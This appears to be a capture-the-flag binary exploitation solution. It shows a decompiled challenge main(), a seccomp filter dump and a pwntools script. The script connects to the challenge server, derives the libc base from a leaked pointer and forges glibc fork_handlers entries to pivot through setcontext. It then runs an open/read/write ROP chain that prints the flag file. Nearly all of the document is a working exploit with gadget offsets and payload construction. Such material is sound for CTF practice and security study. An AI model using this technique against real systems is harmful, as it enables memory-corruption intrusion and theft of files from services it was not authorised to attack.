1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  char *s; // [rsp+8h] [rbp-18h] BYREF
4
  int n[2]; // [rsp+10h] [rbp-10h] BYREF
5
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]
6

7
  v6 = __readfsqword(0x28u);
8
  init(argc, argv, envp);
9
  setup_seccomp();
10
  printf("%p\n", &setvbuf);
11
  __isoc99_scanf("%zu %zu ", &s, n);
12
  fgets(s, n[0], stdin);
13
  fork();
14
  return 0;
15
}

1
 line  CODE  JT   JF      K
2
=================================
3
 0000: 0x20 0x00 0x00 0x00000004  A = arch
4
 0001: 0x15 0x00 0x0e 0xc000003e  if (A != ARCH_X86_64) goto 0016
5
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
6
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
7
 0004: 0x15 0x00 0x0b 0xffffffff  if (A != 0xffffffff) goto 0016
8
 0005: 0x15 0x09 0x00 0x00000000  if (A == read) goto 0015
9
 0006: 0x15 0x08 0x00 0x00000001  if (A == write) goto 0015
10
 0007: 0x15 0x07 0x00 0x00000002  if (A == open) goto 0015
11
 0008: 0x15 0x06 0x00 0x0000000e  if (A == rt_sigprocmask) goto 0015
12
 0009: 0x15 0x05 0x00 0x0000000f  if (A == rt_sigreturn) goto 0015
13
 0010: 0x15 0x04 0x00 0x0000003c  if (A == exit) goto 0015
14
 0011: 0x15 0x03 0x00 0x000000e7  if (A == exit_group) goto 0015
15
 0012: 0x15 0x02 0x00 0x00000101  if (A == openat) goto 0015
16
 0013: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0015
17
 0014: 0x06 0x00 0x00 0x80000000  return KILL_PROCESS
18
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
19
 0016: 0x06 0x00 0x00 0x00000000  return KILL

1
from pwn import *
2

3
elf = context.binary = ELF("./vuln_patched")
4
context.log_level = "debug"
5
libc = ELF("./libc.so.6")
6
# io = process()
7
REMOTE = "unbrevable-unbrevable-f2dec2d27c15629d.challs.ctf.thefewchosen.com"
8
PORT = 1337
9
io = remote(REMOTE, PORT, ssl=True)
10

11
gs = """
12
# break *0x00005555555554d3
13
# break gets
14
# break *0x7ffff7ceaf46
15
break *0x7ffff7c53b2e
16
break *0x7ffff7c80f82
17
"""
18
# gdb.attach(io, gdbscript=gs)
19

20

21
fgets = int(io.recvline(), 16)
22
log.info(f"fgets: {hex(fgets)}")
23

24
libc.address = fgets - 0x815F0
25
log.info(f"libc: {hex(libc.address)}")
26

27

28
def setcontext(regs, addr):
29
  frame = SigreturnFrame()
30
  for reg, val in regs.items():
31
    setattr(frame, reg, val)
32
  # needed to prevent SEGFAULT
33
  setattr(frame, "&fpstate", addr + 0x1A8)
34
  fpstate = {
35
    0x00: p16(0x37F),  # cwd
36
    0x02: p16(0xFFFF),  # swd
37
    0x04: p16(0x0),  # ftw
38
    0x06: p16(0xFFFF),  # fop
39
    0x08: 0xFFFFFFFF,  # rip
40
    0x10: 0x0,  # rdp
41
    0x18: 0x1F80,  # mxcsr
42
  }
43
  return flat(
44
    {
45
      0x00: bytes(frame),
46
      # 0xf8: 0          # end of SigreturnFrame
47
      0x128: 0,  # uc_sigmask
48
      0x1A8: fpstate,  # fpstate
49
    }
50
  )
51

52

53
def header(addr, size):
54
  return flat({0x00: size, 0x10: addr})
55

56

57
def handler_array(*funcs):
58
  assert funcs
59
  data = bytearray(0x20 * len(funcs) - 0x18)
60
  for i, func in zip(range(0, len(data), 0x20), funcs[::-1]):
61
    data[i : i + 8] = p64(func)
62
  return data
63

64

65
def forge_split(addr, *funcs, rdi=None):
66
  array = handler_array(*funcs)
67
  if rdi is not None:
68
    size = rdi
69
    assert size >= len(funcs)
70
    addr = (addr - (size - len(funcs)) * 0x20) % (1 << 64)
71
  else:
72
    size = len(funcs)
73
  return header(addr, size), array
74

75

76
def forge(addr, *funcs, rdi=None):
77
  hdr, arr = forge_split(addr + 0x18, *funcs, rdi=rdi)
78
  return hdr + arr
79

80

81
addr = libc.sym.fork_handlers
82

83
addr_ctx = addr + 0x100
84
data = forge(
85
  addr,
86
  libc.sym.gets,
87
  libc.address + 0x00000000000A8558,
88
  libc.sym.__memset_erms + 13,
89
  libc.sym.setcontext + 45,
90
  rdi=addr_ctx,
91
)
92
assert b"\n" not in data
93

94
flag = libc.address + 0x221DA8
95
extra_data = setcontext(
96
  {
97
    "rdi": libc.address + 0x221DA8,
98
    "rsi": 0x0,
99
    "rdx": 0x0,
100
    "rip": libc.sym.puts,
101
    "rsp": addr_ctx + 0x200,
102
  },
103
  addr_ctx,
104
)
105
assert b"\n" not in extra_data
106

107
###########3rop
108
open_addr = libc.sym["open"]
109
read_addr = libc.sym["read"]
110
write_addr = libc.sym["write"]
111
rop = ROP(libc)
112

113
pop_rdi = rop.find_gadget(["pop rdi", "ret"]).address
114
pop_rsi = rop.find_gadget(["pop rsi", "ret"]).address
115
# pop_rdx = rop.find_gadget(["pop rdx", "ret"]).address
116
pop_rdx_rbx = libc.address + 0x00000000000904A9
117

118
ret = rop.find_gadget(["ret"]).address
119

120
xchg_rax_rdi = libc.address + 0x000000000014A1B5
121
buf = libc.bss() + 0x600
122

123

124
extra_data += b"./flag\x00\x00"
125
extra_data += pack(0xDEADBEEF)
126
extra_data += pack(ret) * 0x10
127

128

129
#######33payload###########333
130

131
# open("./flag", O_RDONLY)
132

133
payload = p64(pop_rdi)
134
payload += p64(flag)
135

136
payload += p64(pop_rsi)
137
payload += p64(0)
138

139
payload += p64(open_addr)
140

141
# RAX = fd
142
# Move fd -> RDI
143
payload += p64(xchg_rax_rdi)
144

145
# read(fd, buf, 0x100)
146
payload += p64(pop_rsi)
147
payload += p64(buf)
148

149
payload += p64(pop_rdx_rbx)
150
payload += p64(0x100)
151
payload += pack(0x0)
152

153
payload += p64(read_addr)
154

155
# write(1, buf, 0x100)
156
payload += p64(pop_rdi)
157
payload += p64(1)
158

159
payload += p64(pop_rsi)
160
payload += p64(buf)
161

162
payload += p64(pop_rdx_rbx)
163
payload += p64(0x100)
164
payload += pack(0x0)
165

166
payload += p64(write_addr)
167

168
extra_data += payload
169

170
io.sendline(f"{addr} {len(data) + 2} ".encode() + data)
171
io.sendline(extra_data)
172

173
io.interactive()